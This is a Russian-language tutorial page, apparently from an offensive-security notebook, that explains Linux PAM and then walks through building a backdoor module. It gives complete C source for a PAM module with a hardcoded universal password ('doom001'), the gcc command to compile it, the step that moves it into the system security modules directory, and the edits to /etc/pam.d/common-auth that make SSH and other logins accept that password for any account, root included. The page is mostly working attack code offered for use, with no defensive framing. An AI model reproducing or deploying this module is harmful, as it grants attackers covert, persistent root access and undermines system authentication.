# 12 - PAM backdoor

**PAM** - Pluggable Authentication Modules, гибкая система для интеграции различных методов аутентификации в UNIX-подобных системах, привет Sun Microsystems. И есть она почти везде в Linux и UNIX-подобных системах.\
Конфигурация PAM осуществляется через файлы, расположенные в каталоге <mark style="color:purple;">/etc/pam.d/</mark> \
Там же определяются правила  для различных сервисов (например:  <mark style="color:red;">login, ssh, su, sudo</mark>).\
Плюс PAM управляет аутентификацией (например: <mark style="color:red;">auth, account, password, session</mark>).\
\
Замечательно, если у PAM такие возможности, то можно написать свой модуль PAM, в котором будет заХардКоден универсальный root пароль. То есть у рута будет 2 пароля, первый - легитимный установленный админом и второй - наш, который хранится во вредоносном PAM модуле.\
Не забудьте установить пакеты в ваш дистрибутив для сборки модуля, для debian это:\ <mark style="color:green;">libpam0g-dev</mark>

```c
// Создаем модуль на СИ  backdoor.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
 
#define MYPASSWD "doom001"
 
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
 
if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
 
return -1;
}

```

```bash
// Компилируем модуль и переносим в папку с остальными модулями (пути могу отличаться)
gcc -shared -fPIC -ldl -o backdoor.so backdoor.c
mv backdoor.so /lib/x86_64-linux-gnu/security/
```

```bash
// Ищем строку в /etc/pam.d/common-auth
auth    [success=1 default=ignore]  <имя модуля> 
// и приводим ее к виду:
auth	sufficient	<имя модуля>    


// И следующей строкой дописываем наш модуль
auth	sufficient	backdoor.so

```

<figure><img src="https://2826317613-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxXcvCa5Rbt6bHhLblf7%2Fuploads%2FEja91s8bDBFaDyEnndb1%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media&#x26;token=51351691-d074-4ce9-b4be-9ccc44847ca1" alt=""><figcaption></figcaption></figure>

Теперь при логине по SSH нас будет пускать с паролем <mark style="color:green;">doom001</mark>
